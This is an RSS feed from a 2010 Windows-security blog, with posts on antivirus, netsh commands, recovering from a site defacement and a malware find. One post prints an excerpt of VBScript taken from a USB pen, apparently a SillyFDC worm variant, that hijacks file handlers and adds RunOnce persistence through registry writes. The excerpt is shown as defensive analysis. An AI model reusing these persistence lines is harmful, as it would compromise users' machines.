<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security for a day</title>
	<atom:link href="http://www.chris-mohan.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.chris-mohan.com</link>
	<description>Securing Windows Networks or giving it a go in Australia...</description>
	<lastBuildDate>Tue, 13 Jul 2010 11:27:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>&#8220;Don&#8217;t need AV, we have a firewall&#8221;</title>
		<link>http://www.chris-mohan.com/2010/07/dont-need-av-we-have-a-firewall/</link>
		<comments>http://www.chris-mohan.com/2010/07/dont-need-av-we-have-a-firewall/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 04:46:19 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=686</guid>
		<description><![CDATA[A friend stopped by to ask if security suite x was any good or not. This led onto a conversation about a place she was working that wasn&#8217;t running any AV on windows machines. The rational behind this came from a 3rd party IT support guy  who said &#8220;you don&#8217;t need AV on the Windows [...]]]></description>
			<content:encoded><![CDATA[<p>A friend stopped by to ask if security suite x was any good or not. This led onto a conversation about a place she was working that wasn&#8217;t running any AV on windows machines. The rational behind this came from a 3rd party IT support guy  who said &#8220;you don&#8217;t need AV on the Windows machines,  the firewall will protect them&#8221;.</p>
<p>When I say firewall, I mean a good, old layer 3 packet filtering device. The things that cost $100 new and are, well, ADSL routers with added security aren&#8217;t able to protect a small office by themselves. Added security  equals access control lists in a pretty GUI, so not really the poster boy for defense in depth.</p>
<p>Amazing that some IT &#8220;professionals&#8221; actually believe having a firewall  will stop pc&#8217;s from getting malicious software. Thanks goodness the USB  device fad never took off.</p>
<p>If you do not have anti-virus software on your home or small office computer, Microsoft provides a free copy you can download from here: <a href="http://www.microsoft.com/security_essentials/">http://www.microsoft.com/security_essentials/</a></p>
<p>It does the job, is simple to use and doesn&#8217;t cost a penny. You want something with all the whistles and bells, pick a security suite package from any of the big names.</p>
<p>We now return to our regular programme.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/07/dont-need-av-we-have-a-firewall/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Netsh commands</title>
		<link>http://www.chris-mohan.com/2010/07/netsh-commands/</link>
		<comments>http://www.chris-mohan.com/2010/07/netsh-commands/#comments</comments>
		<pubDate>Sun, 11 Jul 2010 12:53:59 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[Study]]></category>
		<category><![CDATA[Windows 2008]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/2010/07/netsh-commands/</guid>
		<description><![CDATA[  This is nothing new or exciting, I just keep forget the syntax so I&#8217;m leaving here to make it much easier to find/remember. Interface Configuration Interface named Local Area Connection with the static IP address 192.168.66.100, the subnet mask of 255.255.255.0, and a default gateway of 192.168.66.1: netsh interface ip set address name=&#8221;Local Area [...]]]></description>
			<content:encoded><![CDATA[<p>
 </p>
<p>This is nothing new or exciting, I just keep forget the syntax so I&#8217;m leaving here to make it much easier to find/remember.
</p>
<p style="text-align: center">
<h2>Interface Configuration<span style="font-size:11pt"><br />
			</span></h2>
</p>
<p>Interface named Local Area Connection with the static IP address 192.168.66.100, the subnet mask of 255.255.255.0, and a default gateway of 192.168.66.1:
</p>
<p>netsh interface ip set address name=&#8221;Local Area Connection&#8221; static 192.168.66.100 255.255.255.0 192.168.66.1 1
</p>
<p style="margin-left: 36pt">Add multiple ip addresses
</p>
<p>netsh interface ip add address &#8221; Local Area Connection &#8221; 192.168.66.101 255.255.255.0
</p>
<p>netsh interface ip add address &#8221; Local Area Connection &#8221; 192.168.66.102 255.255.255.0
</p>
<p style="margin-left: 36pt">Configure DNS
</p>
<p>netsh interface ip set dns &#8220;Local Area Connection&#8221; static 192.168.66.200
</p>
<p style="margin-left: 36pt">Add multiple DNS entries<strong><br />
		</strong></p>
<p>netsh interface ip set dns &#8220;Local Area Connection&#8221; static 192.168.66.200primary<br/>netsh interface ip add dns name=&#8221;Local Area Connection&#8221;  192.168.66.201 index=2
</p>
<p style="margin-left: 36pt">Configure WINS
</p>
<p>netsh interface ip set wins &#8220;Local Area Connection&#8221; static 192.168.66.200
</p>
<p style="text-align: center">
<h3>DHCP<br />
</h3>
</p>
<p>Automatically obtain an IP address from a DHCP server:<br/>netsh interface ip set address &#8220;Local Area Connection&#8221; dhcp
</p>
<p style="margin-left: 36pt">Get DHCP DNS/WINS settings:
</p>
<p>netsh interface ip set dns &#8220;Local Area Connection&#8221; dhcp
</p>
<p>netsh interface ip set wins &#8220;Local Area Connection&#8221; wins
</p>
<p style="text-align: center">
<h3>Rename interface names<br />
</h3>
</p>
<p>netsh.exe interface set interface name = &#8220;Local Area Connection&#8221; newname = &#8220;INT&#8221;
</p>
<p>netsh.exe interface set interface name = &#8220;Local Area Connection(2)&#8221; newname = &#8220;Internet&#8221;
</p>
<p style="text-align: center">
<h3>Disabling/enabling an interface<br />
</h3>
</p>
<p><br/>netsh interface set interface name = &#8220;Local Area Connection&#8221; admin = disabled
</p>
<p>netsh interface set interface name = &#8220;Local Area Connection&#8221; admin = enable<strong><br />
		</strong></p>
<p style="text-align: center">
<h3>Export your current IP settings<br />
</h3>
</p>
<p>netsh -c interface dump &gt; c:\current1.txt<br/>import your IP settings<br/>netsh -f c:\current1.txt<br/>You can also use the global EXEC switch instead of -F:<br/>netsh exec c:\current1.txt
</p>
<p style="text-align: center">
<h3>LOOPS<br />
</h3>
</p>
<p>FOR /L %I IN (2,1,20) DO netsh interface ip add address &#8220;Local Area Connection&#8221; 192.168.66.%I 255.255.255.0
</p>
<p>This will add ip addresses from 192.168.66.2 to 192.168.66.20 with 1 step each time.
</p>
<p>Examples:
</p>
<p><a href="http://technet.microsoft.com/en-us/library/bb490943.aspx">http://technet.microsoft.com/en-us/library/bb490943.aspx</a>
	</p>
<p><a href="http://ss64.com/nt/netsh.html">http://ss64.com/nt/netsh.html</a>
	</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/07/netsh-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Regaining reputation after defacement</title>
		<link>http://www.chris-mohan.com/2010/06/regaining-reputation-after-defacement/</link>
		<comments>http://www.chris-mohan.com/2010/06/regaining-reputation-after-defacement/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 04:41:57 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=681</guid>
		<description><![CDATA[After the defacement and clean up, I was going about my normal business when a couple of friends noted that select pieces of reputation software are highlighting the site as either a phishing site or malicious content. This means folks would be blocked or have WARNING EVIL signs as they attempted to connect to this [...]]]></description>
			<content:encoded><![CDATA[<p>After the defacement and clean up, I was going about my normal business when a couple of friends noted that select pieces of reputation software are highlighting the site as either a phishing site or malicious content. This means folks would be blocked or have WARNING EVIL signs as they attempted to connect to this site. Somewhat off putting I would imaging.</p>
<p>The first one to fix is <a title="WOT" href="http://www.mywot.com/" target="_blank">Web of Trust</a> (WOT), a plug-in for Firefox that is used as part of safe browsing.</p>
<p>Simple option is to create an account, link to your site under the My Site option, and save the web cookie verifier .html file on your home page. Click on verify the site and request it be reviewed. To speed up the process you can ask a few folks to certified it all okay. Takes about a day to go from Red and malicious to Green and good.</p>
<p>The second on is the excellent folks at <a href="http://www.phishtank.com">www.phishtank.com</a> who help steer folks away from evil phishing sites. They are part of OpenDNS, so if you&#8217;re using OpenDNS services, this site is marked as a phishing site and you&#8217;re told not to enter. OpenDNS results are used by other services, so fixing the reputation here will clean up other safe browsing tools.</p>
<p>Despite my site not being an actual phishing site, the bad guys linked through my domain name to a compromised web site on the same server.</p>
<p>So should you type:</p>
<p>www.chris-mohan.com/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off</p>
<p>and the computer translates it to :</p>
<p>10.1.10.1/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off</p>
<p>The /~hackedsite being another user account on the same server as me. Linux helpfully understands the command uses the ip address of my site (which is the same as a couple of hundred hosted others) and redirects to hackedsite web site. in effect this is what happens</p>
<p>10.1.10.1/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off</p>
<p>The web site hackedsite got closed down when I reported it by the hosting company, so phishing was no longer an issue.</p>
<p>I registered  an account  on <a href="http://www.phishtank.com">www.phishtank.com</a> and asked for the site to be review and reclassifed now that the bad stuff has been removed. Now waiting to see how long it takes before being reviewed.</p>
<p>Update: The faster way to get the site off phishtank was to send an email to the support team at OpenDNS. The team there turn around my request in under a day</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/regaining-reputation-after-defacement/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>From SANS 709: brute-forcing Address Space Layout Randomization (ASLR) on Linux</title>
		<link>http://www.chris-mohan.com/2010/06/from-sans-709-brute-forcing-address-space-layout-randomization-aslr-on-linux/</link>
		<comments>http://www.chris-mohan.com/2010/06/from-sans-709-brute-forcing-address-space-layout-randomization-aslr-on-linux/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 13:10:22 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[SANS]]></category>
		<category><![CDATA[Study]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=677</guid>
		<description><![CDATA[In my other rush to get up to speed for SANS 709 Developing Exploits for Penetration Testers and Security Researchers I&#8217;m looking for any material that will easy that learning curve. Steve Sims has just posted up two YouTube videos on brute-forcing Address Space Layout Randomization (ASLR) on Linux straight out of the 709 courseware. [...]]]></description>
			<content:encoded><![CDATA[<p>In my other rush to get up to speed for SANS 709 <a title="SANS 709" href="http://www.sans.org/security-training/developing-exploits-penetration-testers-security-researchers-1107-mid" target="_blank">Developing Exploits for Penetration Testers and  Security Researchers</a> I&#8217;m looking for any material that will easy that learning curve.</p>
<p>Steve Sims has just posted up two YouTube videos on brute-forcing Address Space Layout Randomization (ASLR) on Linux straight out of the 709 courseware. Excellent timing.</p>
<p>Part 1: <a href="http://www.youtube.com/watch?v=DcaVyy4yu88">http://www.youtube.com/watch?v=DcaVyy4yu88</a><br />
Part 2: <a href="http://www.youtube.com/watch?v=LRjsv5zAHjQ">http://www.youtube.com/watch?v=LRjsv5zAHjQ</a></p>
<p>Plus here is his article in Hackin9 on Hacking ASLR &amp; Stack Canaries on Modern Linux <a href="http://hakin9.org/magazine/918-21st-century-hacking-techniques" target="_blank">http://hakin9.org/magazine/918-21st-century-hacking-technique</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/from-sans-709-brute-forcing-address-space-layout-randomization-aslr-on-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>From China with Love</title>
		<link>http://www.chris-mohan.com/2010/06/from-china-with-love/</link>
		<comments>http://www.chris-mohan.com/2010/06/from-china-with-love/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 07:34:40 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[VBS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/2010/06/from-china-with-love/</guid>
		<description><![CDATA[I received two gifts from a family member returning from China. It was a lovely though and I was touched by the gesture. Both items are of the geek variety and bought from stalls, one a ball point pen with a built in 2GB USB stick that can act as a voice recorder and the [...]]]></description>
			<content:encoded><![CDATA[<p>I received two gifts from a family member returning from China.</p>
<p style="text-align: left;">It was a lovely though and I was touched by the gesture.</p>
<p style="text-align: left;">Both items are of the geek variety and bought from stalls, one a ball point pen with a built in 2GB USB stick that can act as a voice recorder and the other a 240GB USB stick.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<div id="attachment_657" class="wp-caption alignleft" style="width: 458px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/Penworm.jpg"><img class="size-full wp-image-657  " title="Penworm" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/Penworm.jpg" alt="2GB USB voice recorder pen" width="448" height="69" /></a><p class="wp-caption-text">3-in-1 Pen-recorder-malware </p></div>
<p style="text-align: left;">
<p style="text-align: center;">
<div id="attachment_659" class="wp-caption aligncenter" style="width: 269px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/240gbusb.jpg"><img class="size-full wp-image-659 " title="240gbusb" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/240gbusb.jpg" alt="" width="259" height="202" /></a><p class="wp-caption-text">240GB Flash drive - really?</p></div>
<p>Now, from having worked with companies that operate in Asia and especially China, I&#8217;ve often discovered that some of pieces of technology come with free added &#8220;extras&#8221;.</p>
<p>I have to admit some level of amazement when told of the 240GB USB <em>flash</em> drive, especial when the afore mentioned relative said he hadn&#8217;t seen the 500GB USB <em>flash</em> drive after he&#8217;d bought this one. I thought the largest current flash drive available was on 128GB, sadly it appears I was right. A quick search of 240G Sony quick turned up this <a href="http://flashdrivefacts.wordpress.com/2009/03/26/240gb-sony-microvault-counterfeit-fake-usb-flash-drive-model-number-usm240024/">page</a>. This thing is a total fake and is actually a whooping <span style="text-decoration: underline;"><strong>32MB</strong></span>. However it looks pretty and I can amaze my friends and family with a 234GB drive that I can&#8217;t save anything to. Might give it to the Auditors next time they&#8217;re in the office.</p>
<div id="attachment_660" class="wp-caption aligncenter" style="width: 278px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/fake-usb.jpg"><img class="size-full wp-image-660" title="fake usb" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/fake-usb.jpg" alt="" width="268" height="74" /></a><p class="wp-caption-text">Wow it&#39;s really 234GB - honest!</p></div>
<p>I plugged both USB devices in to a spare Linux machine, just to see it any software was on either. The Fake 240GB USB was empty, but the recording pen had lots of goodies.</p>
<p>The first thing that caught my eye was the autorun.ini file. A quick look at that pointed to a MS-DOS.COM saved on the pen. After a quick imaging of the files, I decide to open a copy of the MS-DOS.COM.</p>
<p>The random looking junk didn&#8217;t quite look like normal .COM file junk, if only I could have taken <a href="http://www.sans.org/canberra-2010/description.php?tid=4317">SANS Reverse-Engineering Malware: Malware Analysis Tools and Techniques course</a>, I may have been able to do a better analysis. However, halfway through the file, the weird characters disappeared and stuff I can recognize and understand appears in plain English.</p>
<p>This is some of what I extracted:</p>
<pre><span style="font-family: Courier New; font-size: 10pt;">Dim fs,rg
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">Set fs = CreateObject("scripting.filesystemobject")
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">Set rg = CreateObject("wscript.shell")
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">On Error Resume Next
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\.vbs\", "VBSFile"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\Control Panel\Desktop\SCRNSAVE.EXE","C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\Control Panel\Desktop\ScreenSaveTimeOut", "30"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\MSCFile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\regfile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"
</span></pre>
<p style="text-align: center;">&#8211; Plenty more VBS code chopped out &#8211;</p>
<p>This clearly isn&#8217;t a real .Com file. Two seconds of searching found out that this is a variant of the SillyFDC worm. A write up of it <a href="http://cyberwarfaremag.wordpress.com/2008/11/20/us-army-infected-by-worm/">here</a> talks how it was slapping the US military systems around back in 2008. Most antivirus software would have picked it up, but then again, why test it.</p>
<p>Moral of the story, if you buy kit like this, for the &#8220;best price&#8221; for a back street stall, buyer beware. Unless you&#8217;re a Malware researcher then go mad, it&#8217;s Christmas day with every item bought!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/from-china-with-love/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Being Defaced and cleaning up</title>
		<link>http://www.chris-mohan.com/2010/06/being-defaced-and-cleaning-up/</link>
		<comments>http://www.chris-mohan.com/2010/06/being-defaced-and-cleaning-up/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 04:23:26 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=640</guid>
		<description><![CDATA[One of the wonderful pieces of IT security defense is planning for when you get your arse handed to you. The more technical term is incident response, but it&#8217;s not as much fun to say to your mates at the pub. Being attacked and having to recover is sadly part of IT life these days, [...]]]></description>
			<content:encoded><![CDATA[<p>One of the wonderful pieces of IT security defense is planning for when you get your arse handed to you. The more technical term is incident response, but it&#8217;s not as much fun to say to your mates at the pub.</p>
<p>Being attacked and having to recover is sadly part of IT life these days, but the more practice, the better you get at it. I&#8217;m oddly indebted to this particular attacker as it meant I&#8217;ve had to spend time understanding how the hosting company works, how this site is put together and the glaring shortfalls of outsourcing management and security to a third party.</p>
<p>On the 31st of May this blog was defaced and had a number of files uploaded to it.</p>
<p>The defacement was of a political, religious statement nature, which I&#8217;d  suggest defacing web sites is a bit of a waste of time. Given the  attacker lives in a democracy, whether he believes it is or not, I&#8217;d recommend he&#8217;d spend the time  working in worth while, legal groups to express his views or simply help out the local  community. If you have a voice and a vote use it, people change the world by words and deed, not by petty vandalism or criminal Paypal pharming schemes to steal money from your fellow man.  I&#8217;ll get off my soap box now.</p>
<p>On the 7th of June, I actually noticed the defacement. Oops.</p>
<p>Note to self &#8211; be more narcissistic and look at my own blog more often.</p>
<p>In under a minute, I went from shock to annoyance to curiosity. How did this guy get in, what was he actually doing and would I be able to work out how to stop it again?</p>
<p>I wasn&#8217;t able to log on to the <a title="cpanel - so '90's" href="http://en.wikipedia.org/wiki/CPanel" target="_blank">cpanel</a> to control the site, the wacky security of putting it on a random port over https does not work for locked down corporate environments.</p>
<p>So the first step was to call the hosting company and ask if this was a mass defacement or just me. A number of hosting companies hosting word press site had be compromised due to their bad practices, so best to check. Fortunately for  me I go the support &#8220;consultant&#8221; that struggled with English. After a painful twenty minutes, the best I got out of the conversation was for him to reset a password and mine was the only site hacked. More on this later. He did offer the gems of: Change your password every couple of weeks and don&#8217;t set stuff to 755. Magic. If I was a normal human being 755 would mean the world to me. Thank you!</p>
<p>This is now a great time to bring up the <a title="IR - the SANS's way" href="http://www.giac.org/resources/whitepaper/network/17.php" target="_blank">SANS six step incident response steps</a> process. These steps help work through how to deal with this mess:</p>
<p style="text-align: center;"><strong>1.</strong> Preparation <strong>2.</strong> Identification <strong>3.</strong> Containment <strong>4.</strong> Eradication <strong>5.</strong> Recovery <strong>6.</strong> Lessons learned</p>
<h2>Identification</h2>
<p>After  finish work, I finally got on to the site control panel via cpanel and kicked off a backup of the site just to examine off line what had happened.</p>
<p>The defacement was a simple replacement of the index.php file, which contained a lot of meta data. This meta data confirmed the OS, who had customized the OS and where to get a copy of it, what version of Word the defacement page had been made with and a few other pieces of helpful data. What was really interesting was the uploaded fake PayPal.fr payment page sub-directories and file in the public_html folder. The blog&#8217;s site logs also contained entries like this:</p>
<p>/~silkhous/PayPaI.Com/confirmmation4548664512884645384534/B!M@R/ProfileCCAdd.js</p>
<p>The /~silkhous refers to another home directory on the same hosted server as my blog. Looks like the other site was suffering the same problem, so much for me with the only site being attacked. Nice work hosting provider!</p>
<p>This caused an instant road block. Alerting Paypal that people are being <a title="Pharming - not nice kids!" href="http://en.wikipedia.org/wiki/Pharm" target="_blank">pharmed</a> out weighted my curious and recover process. As there&#8217;s no clear, direct way to contact Paypal&#8217;s security team, I had to go through customer service. The very nice lady somewhat taken back that someone might do this and asked me to submit my findings to an email address. When I asked to speak to someone directly, I was told the security team was a back office group and couldn&#8217;t be directly contacted. Oh well, the Paypal rep was helpful and was pretty excited, so I sent the details off and went back to the clean up.</p>
<h2>Containment, Eradication and Recovery</h2>
<p>What I&#8217;d found didn&#8217;t give me any real clear indications of how the  attacker got in. I knew what he&#8217;d done to the site, and as he&#8217;d kindly  defaced the site and tagged it with his email address, I was able to out  a fair bit of information on him just from search engines. Still, no  clear method of how he got in.</p>
<p>The common options to break in to a WordPress/web site are</p>
<p>1) The hosting provide is vulnerable to attacks and then control the entire server*</p>
<p>2) Bad passwords &#8211; allowing brute force attacks (password guessing)</p>
<p>3) Poorly written plug-ins allow attackers to execute code and commands on the site</p>
<p>4) Old version of Word Press allow attackers to execute code through know vulnerabilities</p>
<p>I can safely rule out 2 and 4 as entry points, which leaves only 3 something I can do about now.</p>
<p>Since I make backups of the site every after x number of blog pieces I upload, I decided to delete the entire site and upload a fresh copy of WordPress. Using a couple good articles from WordPress, I picked the parts that worked for me from them to add additional security.</p>
<p>http://codex.wordpress.org/FAQ_My_site_was_hacked</p>
<p>http://codex.wordpress.org/Hardening_WordPress</p>
<p>I then move back old versions of the content to the blog, tested, made a few more changes, took a back up again and then reset the passwords again and ran one final check.</p>
<p>*Should this happen again, time to move web site  providers to someone who keeps their OS and software up to date&#8230;</p>
<h2>Lessons Learned</h2>
<ul>
<li>RTFM WordPress&#8217; security guides</li>
<li>Avoid having gadgets and plugins just because the look pretty</li>
<li>Understand the structure and layout of WordPress and the web site</li>
<li>More regular backups</li>
<li>Rotate the access logs off the server</li>
</ul>
<h2>So am I safe now?</h2>
<p>Possibly, possibly not.</p>
<p>I can say I&#8217;ve improved the security of the site and cleaned up some crap. As I still don&#8217;t know how he got in, he may just read this, get annoyed and deface the site again using the same hole he did last time. As I think he just ran an automated scanner to find &#8220;x&#8221; problem then automatically exploit it, he probably won&#8217;t read this or even visit the site. Saying that, only a very small number of sites got exploited, so he might come back to visit. <img src='http://www.chris-mohan.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>If so and that&#8217;s you Mr Attacker- Bonjour là, signalent un commentaire et me font savoir vous êtes entré  la première fois. Merci !</p>
<p>I would have used Arabic, but I don&#8217;t really trust the translation software. I&#8217;ve seen what it does to English.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/being-defaced-and-cleaning-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Study, more art than science</title>
		<link>http://www.chris-mohan.com/2010/06/study-more-art-than-science/</link>
		<comments>http://www.chris-mohan.com/2010/06/study-more-art-than-science/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 08:07:53 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[Study]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=598</guid>
		<description><![CDATA[The folks on Twitter has provided a couple of quite though provoking links on the subject of study Jason Haddix linked this http://measuringmeasures.com/blog/2010/4/19/7-tips-for-successful-self-learning.html The folks at Cisco Security linked this: http://etherealmind.com/why-the-ccie-program-is-more-useful-than-the-certification-itself/ I like to think each of us has to find our own way to study, whether it be driven by passion, need or simple [...]]]></description>
			<content:encoded><![CDATA[<p>The folks on Twitter has provided a couple of quite though provoking links on the subject of study</p>
<p>Jason Haddix linked this</p>
<p>http://measuringmeasures.com/blog/2010/4/19/7-tips-for-successful-self-learning.html</p>
<p>The folks at Cisco Security linked this:</p>
<p>http://etherealmind.com/why-the-ccie-program-is-more-useful-than-the-certification-itself/</p>
<p>I like to think each of us has to find our own way to study, whether it be driven by passion, need or simple curiosity.</p>
<p>My current method is to block out an hour from 8 to 9 pm for serious study. This means avoid distractions &#8211; random browsing, tv, tweets, books, arranging DVD&#8217;s in alphabetical order and so on &#8211; and focusing on one topic.</p>
<p>This, so far, has sort of worked.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/study-more-art-than-science/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>www.Packetstan.com &#8211; A new Nation for Packets to stand proud</title>
		<link>http://www.chris-mohan.com/2010/06/www-packetstan-com-a-new-nation-for-packets-to-stand-proud/</link>
		<comments>http://www.chris-mohan.com/2010/06/www-packetstan-com-a-new-nation-for-packets-to-stand-proud/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 05:22:28 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[SANS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=621</guid>
		<description><![CDATA[It&#8217;s as if one of my many random, vague and confused wishes to the Webi-verse has finally been answered. Mike Poor has created: www.packetstan.com  for all things packet-like. It&#8217;s all about packets and crazy things people do to them. If that wasn&#8217;t enough the first article has been written by Judy Novak. Judy is a rock star of the analyst world [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s as if one of my many random, vague and confused wishes to the Webi-verse has finally been answered.</p>
<p style="text-align: center;">Mike Poor has created:</p>
<p style="text-align: center;"><a href="http://www.packetstan.com"><strong>www.packetstan.com</strong></a> </p>
<p style="text-align: center;">for all things packet-like.</p>
<p style="text-align: center;">It&#8217;s all about <strong>packets</strong> and crazy things people do to them.</p>
<p>If that wasn&#8217;t enough the first article has been written by Judy Novak. Judy is a rock star of the analyst world and recent received a lifetime achievement award from SANS for her work in this field, plus was one of the authors of the <a title="SANS 503 - packet fu" href="http://www.sans.org/security-training/intrusion-detection-in-depth-43-mid" target="_blank">Intrusion Detection In-Depth</a> SANS 503 course. </p>
<p>If you have no idea what I&#8217;m on about, or why I think this is amazing for network/security professionals sign up for <a title="SANS 503 - packet fu" href="http://www.sans.org/security-training/intrusion-detection-in-depth-43-mid" target="_blank">Intrusion Detection In-Depth</a> immediately. Do it now, right now. I&#8217;ll still be here once you&#8217;ve taken a magical trip in to the core of the Internet&#8217;s communication DNA and peeked in to a world full of Hex, binary and payloads.</p>
<p>I can only hope Mike convinces Judy to spill some more of her secrets and tips, plus get  many more people to chime in with articles, as this would be an utterly amazing resources for anyone that has to deal with analysing packets on or off the wire.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/www-packetstan-com-a-new-nation-for-packets-to-stand-proud/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GSE Exam in SANS Network Security 2010</title>
		<link>http://www.chris-mohan.com/2010/06/gse-exam-in-sans-network-security-2010/</link>
		<comments>http://www.chris-mohan.com/2010/06/gse-exam-in-sans-network-security-2010/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 04:42:59 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[SANS]]></category>
		<category><![CDATA[Study]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=613</guid>
		<description><![CDATA[Been a busy few months in the real world with work, life and everything else. Since passing the GSE written exam, I&#8217;ve been building up a lab, practical practice examples and a stock of reading reference materials. I&#8217;ll blab on about the books and what they are at some later point. An interesting aside, some of [...]]]></description>
			<content:encoded><![CDATA[<p>Been a busy few months in the real world with work, life and everything else.</p>
<p>Since passing the GSE written exam, I&#8217;ve been building up a lab, practical practice examples and a stock of reading reference materials. I&#8217;ll blab on about the books and what they are at some later point. An interesting aside, some of the operating systems used in the GSE exam have been updated. Backtrack 1 now becomes <a title="Backtrack 4 download" href="http://www.backtrack-linux.org/downloads/" target="_blank">Backtrack 4</a> and Fedora 4 becomes <a title="Fedora Mirrors" href="http://mirrors.fedoraproject.org/publiclist/Fedora/12/" target="_blank">Fedora 12</a> so a great time to master more current OS&#8217;s.</p>
<p>The two day practical part of the GSE exam takes place in Las Vegas on the 18th and 19th of September. This means I&#8217;ll finish two days of examination hell just in time for the <a title="SANS Network Security 2010" href="http://www.sans.org/network-security-2010/" target="_blank">SANS Network Security 2010 conference </a></p>
<p>As I&#8217;m in Las Vegas and SANS is running on of its biggest conferences of the year, I&#8217;d be remiss to not try to squeeze in a bit more training.</p>
